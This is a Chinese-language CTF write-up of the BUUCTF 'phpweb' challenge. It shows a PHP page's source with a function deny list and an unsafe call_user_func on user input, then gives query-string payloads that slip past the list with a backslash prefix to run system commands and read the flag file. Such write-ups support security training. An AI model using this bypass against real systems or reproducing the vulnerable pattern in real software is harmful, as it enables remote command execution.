BUUCTF靶场37 -- [网鼎杯 2020 朱雀组]phpweb

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BUUCTF靶场37 -- [网鼎杯 2020 朱雀组]phpweb

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F12查看源码，和观察的一样，setTimeout("document.form1.submit()",5000)每隔五秒钟将会提交一次form1，然后是一串时间字符串2021-10-20 12:14:50 pm

这里提交了两个值，一个是func 值是date  另一个是p 值是 Y-m-d h：i：s

猜想一下，如果func的值是 system ，p的值是ls /flag呢？

可以先用md5来校验一下是否能够成功执行

paylaod：?func=md5&p=123

如果我们要读取flag这个文件的话，得先看看过滤了哪些函数：

这里可以利用file_get_contents获取index.php的源码

file_get_contents(path):读取path路径下文件的内容

看样子过滤挺多的

[PHP] 纯文本查看 复制代码

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

直接构造payload：?func=\system&p=ls /     #加\是为了绕过过滤

system("find / -name flag")：查找所有文件名匹配flag的文件

func=\system&p=find / -name flag*

[Plain Text] 纯文本查看 复制代码

   /proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu22/domain0/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu25/domain0/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu28/domain0/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu31/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/tunl0/flags
/tmp/flagoefiu4r93
/tmp/flagoefiu4r93

payload：?func=\system&p=cat /tmp/flagoefiu4r93     找到flag存在的路径

flag{c343abfa-3d27-4c23-9c8f-c339ebbcce04}

referee：https://blog.csdn.net/snowlyzz/article/details/124697304